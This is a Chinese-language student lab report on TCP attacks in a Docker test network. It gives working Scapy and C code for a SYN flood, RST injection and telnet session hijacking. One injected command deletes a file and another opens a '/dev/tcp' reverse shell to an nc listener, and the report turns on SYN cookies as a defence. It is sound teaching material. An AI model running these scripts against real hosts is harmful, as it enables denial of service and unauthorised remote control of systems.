Task1

1.1

首先是没有运行 SYN Flood 攻击时，我们从 10.9.0.1 向 10.9.0.5 进行 telnet，可以成功连接。

```
[07/11/21]seed@VM:~/.../volumes$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
742f25672833 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun Jul 11 21:46:19 UTC 2021 on pts/1
seed@742f25672833:~$
```

然后去 10.9.0.5 上面清除一下连接缓存，使用如下命令。

```
root@742f25672833:/# ip tcp_metrics show
10.9.0.1 age 4.076sec cwnd 10 rtt 49us rttvar 55us source 10.9.0.5
root@742f25672833:/# ip tcp_metrics flush
```

根据提供的代码进行填空，如下，命名为 synflood.py

```
1 #!/bin/env python3
2 from scapy.all import IP, TCP, send
3 from ipaddress import IPv4Address
4 from random import getrandbits
5 ip = IP(dst="10.9.0.5")
6 tcp = TCP(dport=23, flags='S')
7 pkt = ip/tcp
8 while True:
9         pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
10        pkt[TCP].sport = getrandbits(16) # source port
11        pkt[TCP].seq = getrandbits(32) # sequence number
12        send(pkt, verbose = 0)
```

在 10.9.0.1 上面运行上述代码，并等待一段时间。

```
root@VM:/home/seed/Desktop/Labs_20.04/Network Security/TCP Attacks Lab/Labsetup/
volumes# python3 synflood.py
```

这时再次从 10.9.0.1 上对 10.9.0.5 进行 telnet，发现连接超时，攻击成功。

```
[07/11/21]seed@VM:~/.../Labsetup$ telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
[07/11/21]seed@VM:~/.../Labsetup$
```

1.2

对所给的代码进行编译运行，如下

```
root@VM:/home/seed/Desktop/Labs_20.04/Network Security/TCP Attacks Lab/Labsetup/
volumes# gcc -o synflood synflood.c
root@VM:/home/seed/Desktop/Labs_20.04/Network Security/TCP Attacks Lab/Labsetup/
volumes# ./synflood 10.9.0.5 23
```

一段时间后同样从 10.9.0.1 向 10.9.0.5 进行 telnet，发现连接也超时了，攻击成功。

```
[07/11/21]seed@VM:~/.../Labsetup$ telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
```

这时在 10.9.0.5 上查看一下网络状态，发现已经被大量的 SYN 请求占满，这是上面两次攻击成功的原因。

```
[07/11/21]seed@VM:~/.../Labsetup$ dockps
a3d389374746  seed-attacker
07952c6a9bd4  user2-10.9.0.7
742f25672833  victim-10.9.0.5
03a25277ccc8  user1-10.9.0.6
[07/11/21]seed@VM:~/.../Labsetup$ docksh 7
root@742f25672833:/# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:44241        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23             240.1.135.97:17494      SYN_RECV
tcp        0      0 10.9.0.5:23             17.31.121.42:3416       SYN_RECV
tcp        0      0 10.9.0.5:23             169.0.198.147:60781     SYN_RECV
tcp        0      0 10.9.0.5:23             172.15.10.164:20968     SYN_RECV
tcp        0      0 10.9.0.5:23             106.244.87.104:2648     SYN_RECV
tcp        0      0 10.9.0.5:23             82.119.129.233:43449    SYN_RECV
tcp        0      0 10.9.0.5:23             55.242.244.134:43103    SYN_RECV
tcp        0      0 10.9.0.5:23             221.51.8.117:63811      SYN_RECV
tcp        0      0 10.9.0.5:23             242.215.205.151:9743    SYN_RECV
tcp        0      0 10.9.0.5:23             202.185.201.233:25733   SYN_RECV
tcp        0      0 10.9.0.5:23             135.238.162.113:42606   SYN_RECV
tcp        0      0 10.9.0.5:23             6.15.213.103:16267      SYN_RECV
tcp        0      0 10.9.0.5:23             118.200.138.187:57376   SYN_RECV
```

1.3

我们将 SYN cookie 机制打开

```
Victim:
    image: handsonsecurity/seed-ubuntu:large
    container_name: victim-10.9.0.5
    tty: true
    cap_add:
            - ALL
    sysctls:
            - net.ipv4.tcp_syncookies=1
```

此时上述两种攻击都失败。

Task2

首先是 RST.py 的代码如下。

```
#!/usr/bin/env python3
from scapy.all import *
def RST_attack(pkt):
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
        tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="R", seq=pkt[TCP].ack,
 ack=pkt[TCP].seq+1)
        pkt = ip/tcp
        ls(pkt)
        send(pkt,verbose=0)

pkt=sniff(iface='796a12732566',filter='tcp and src port 23',prn=RST_attack)
```

然后去 10.9.0.5 上面 telnet 10.9.0.6，如下图。

```
742f25672833  victim-10.9.0.5
03a25277ccc8  user1-10.9.0.6
[07/11/21]seed@VM:~/.../Labsetup$ docksh 7
root@742f25672833:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
03a25277ccc8 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

seed@03a25277ccc8:~$ ls
```

接着返回 10.9.0.1，telnet 10.9.0.5，如下。

```
[07/11/21]seed@VM:~/.../Labsetup$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
742f25672833 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun Jul 11 23:26:05 UTC 2021 on pts/2
seed@742f25672833:~$
```

接下来再在 10.9.0.1 上开一个终端运行 RST.py，得到的响应如下。

```
--
sport     : ShortEnumField                    = 33131          (20)
dport     : ShortEnumField                    = 23             (80)
seq       : IntField                          = 3164630628     (0)
ack       : IntField                          = 3244070568     (0)
dataofs   : BitField  (4 bits)                = None           (None)
reserved  : BitField  (3 bits)                = 0              (0)
flags     : FlagsField  (9 bits)              = <Flag 4 (R)>   (<Flag 2
(S)>)
window    : ShortField                        = 8192           (8192)
chksum    : XShortField                       = None           (None)
urgptr    : ShortField                        = 0              (0)
options   : TCPOptionsField                   = []             (b'')
version   : BitField  (4 bits)                = 4              (4)
ihl       : BitField  (4 bits)                = None           (None)
tos       : XByteField                        = 0              (0)
len       : ShortField                        = None           (None)
```

此时返回 10.9.0.5，随意命令使代码进行到攻击位置，发现连接自动断开，如下。

```
seed@03a25277ccc8:~$ ss
Netid State Recv-Q Send-Q Local Address:Port     Peer Address:Port
                        Process
tcp   ESTAB 0      0           10.9.0.6:telnet       10.9.0.5:49224

seed@03a25277ccc8:~$ Connection closed by foreign host.
```

由此可得攻击成功。

Task3

SH.py 的代码如下，其中 data 选择删除一个文件的命令。

```python
#!/usr/bin/env python3
from scapy.all import *
def sh(pkt):
        ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
        tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack+10, ack=pkt[TCP].seq+1)
        data = "\r rm -f 123.txt\r"
        pkt = ip/tcp/data
        ls(pkt)
        send(pkt,verbose=0)

pkt=sniff(iface='br-796a12732566',filter='tcp and src port 23',prn=sh)
```

首先到 10.9.0.6 里的/home/seed 文件夹下新建一个 123.txt 文件。如下。

```
root@03a25277ccc8:/# cd /home/seed
root@03a25277ccc8:/home/seed# ls
root@03a25277ccc8:/home/seed# touch 123.txt
root@03a25277ccc8:/home/seed# ls
123.txt
```

然后从 10.9.0.5 下 telnet 10.9.0.6，发现我们新建的文件此时还存在。如下。

```
root@742f25672833:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
03a25277ccc8 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Jul 12 00:22:40 UTC 2021 from victim-10.9.0.5.net-10.9.0.0 o
n pts/2
seed@03a25277ccc8:~$ ls
123.txt
```

然后回到 10.9.0.1 下，运行 SH.py，响应如下。

```
root@VM:/home/seed/Desktop/Labs_20.04/Network Security/TCP Attacks Lab/Labse
tup/volumes# python3 SH.py
version    : BitField  (4 bits)                  = 4               (4)
ihl        : BitField  (4 bits)                  = None            (None)
tos        : XByteField                          = 0               (0)
len        : ShortField                          = None            (None)
id         : ShortField                          = 1               (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>     (<Flag 0
()>)
frag       : BitField  (13 bits)                 = 0               (0)
ttl        : ByteField                           = 64              (64)
proto      : ByteEnumField                       = 6               (0)
```

然后回到 10.9.0.5，随意输入几个命令至攻击代码处，发现已经不能继续输入了，这时关掉这个终端，重新打开再 telnet 10.9.0.6，发现 123.txt 已经消失了，如下。

```
742f25672833  victim-10.9.0.5
03a25277ccc8  user1-10.9.0.6
[07/11/21]seed@VM:~/.../Labsetup$ docksh 7
root@742f25672833:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
03a25277ccc8 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Jul 12 00:36:57 UTC 2021 from victim-10.9.0.5.net-10.9.0.0 o
n pts/5
seed@03a25277ccc8:~$ ls
seed@03a25277ccc8:~$
```

由此可得攻击成功。

Task4

首先在 10.9.0.1 里面监听 9090 端口，如下。

```
[07/11/21]seed@VM:~/.../Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
```

然后到 10.9.0.5 下面输入所给命令，如下。

```
[07/11/21]seed@VM:~/.../Labsetup$ dockps
a3d389374746  seed-attacker
07952c6a9bd4  user2-10.9.0.7
742f25672833  victim-10.9.0.5
03a25277ccc8  user1-10.9.0.6
[07/11/21]seed@VM:~/.../Labsetup$ docksh 7
root@742f25672833:/# /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
```

回到 10.9.0.1，发现已经得到 10.9.0.5 的 Reverse Shell，可以对其执行操作，如下。

```
[07/11/21]seed@VM:~/.../Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 47998
root@742f25672833:/#
```

将上述命令放入 SH1.py 中，代码如下。

```python
#!/usr/bin/env python3
from scapy.all import *
def sh(pkt):
        ip = IP(src="10.9.0.6", dst="10.9.0.5")
        tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack+10, ack=pkt[TCP].seq+1)
        data = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
        pkt = ip/tcp/data
        ls(pkt)
        send(pkt,verbose=0)

pkt=sniff(iface='br-796a12732566',filter='tcp and src port 23',prn=sh)
```

然后去 10.9.0.6 里面 telnet 10.9.0.5。继续监听 9090 端口，同时在 10.9.0.1 运行 SH1.py，如下。

```
root@VM:/home/seed/Desktop/Labs_20.04/Network Security/TCP Attacks Lab/Labsetup
volumes# python3 SH1.py
version    : BitField  (4 bits)                  = 4               (4)
ihl        : BitField  (4 bits)                  = None            (None)
tos        : XByteField                          = 0               (0)
len        : ShortField                          = None            (None)
id         : ShortField                          = 1               (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>     (<Flag 0 ()>
frag       : BitField  (13 bits)                 = 0               (0)
ttl        : ByteField                           = 64              (64)
proto      : ByteEnumField                       = 6               (0)
chksum     : XShortField                         = None            (None)
src        : SourceIPField                       = '10.9.0.6'      (None)
dst        : DestIPField                         = '10.9.0.5'      (None)
options    : PacketListField                     = []              ([])
```

再在 telnet 里面随意输入几个命令至攻击代码处，发现输入不了了。如下。

```
07952c6a9bd4  user2-10.9.0.7
742f25672833  victim-10.9.0.5
03a25277ccc8  user1-10.9.0.6
[07/11/21]seed@VM:~/.../Labsetup$ docksh 03
root@03a25277ccc8:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
742f25672833 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Jul 12 01:20:03 UTC 2021 from user1-10.9.0.6.net-10.9.0.0 on p
/5
seed@742f25672833:~$ 1123213131
```

这时，返回 10.9.0.1，发现已经得到了 10.9.0.5 的 Reverse Shell，可以进行各种操作。

```
[07/11/21]seed@VM:~/.../Labsetup$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 42010
seed@742f25672833:~$ pwd
pwd
/home/seed
seed@742f25672833:~$ cd ..
cd ..
seed@742f25672833:/home$ cd ..
cd ..
seed@742f25672833:/$ ls
ls
bin
boot
dev
etc
home
lib
lib32
lib64
```

由此可得攻击成功。